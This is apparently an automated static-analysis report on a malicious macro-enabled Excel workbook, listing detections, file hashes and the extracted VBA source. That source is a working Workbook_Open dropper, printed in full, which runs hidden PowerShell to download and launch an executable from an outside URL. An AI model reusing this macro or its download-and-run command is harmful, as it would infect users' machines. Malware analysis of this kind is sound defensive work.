Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 eda075c03e3a03b9…

MALICIOUS

Office (OOXML) / .XLSX

431.4 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2026-06-09
MD5: 35f88ae1df2085d3fae3b58c9d91422b SHA-1: cbdc658790df59515736caf446a806b6a7a2b4da SHA-256: eda075c03e3a03b9acb81a059c830dba5528808eb9b092d3c0cb8fc333fcb335
370 Risk Score

Heuristics 8

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Debug.Print sCommand
    Set oWshShell = CreateObject("WScript.Shell")
    Set oWshShellExec = oWshShell.Exec(sCommand)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim oWshShell As Object, oWshShellExec As Object
    sCommand = "powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri ""http://lostheaven.com.cn/wp-includes/ID3/bin-cr.exe"" -OutFile $TempFile; Start-Process $TempFile;
    Debug.Print sCommand
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
    Dim sCommand As String, sOutput As String
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Debug.Print sCommand
    Set oWshShell = CreateObject("WScript.Shell")
    Set oWshShellExec = oWshShell.Exec(sCommand)
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    Dim sCommand As String, sOutput As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lostheaven.com.cn/wp-includes/ID3/bin-cr.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1257 bytes
SHA-256: 71395c23c3253e31400c6b0313e3fd4ede77b2e6b42c6776ac1ca89af6850cc8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim sCommand As String, sOutput As String


Dim oWshShell As Object, oWshShellExec As Object
sCommand = "powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri ""http://lostheaven.com.cn/wp-includes/ID3/bin-cr.exe"" -OutFile $TempFile; Start-Process $TempFile;
Debug.Print sCommand
Set oWshShell = CreateObject("WScript.Shell")
Set oWshShellExec = oWshShell.Exec(sCommand)
sOutput = oWshShellExec.StdOut.ReadAll
'MsgBox (sOutput)
Set oWshShellExec = Nothing
Set oWshShell = Nothing
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: c6b9cf410a0a142aed3690bbcf673d405c65d9f09ec41ce7cda0e5e94f09da68
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely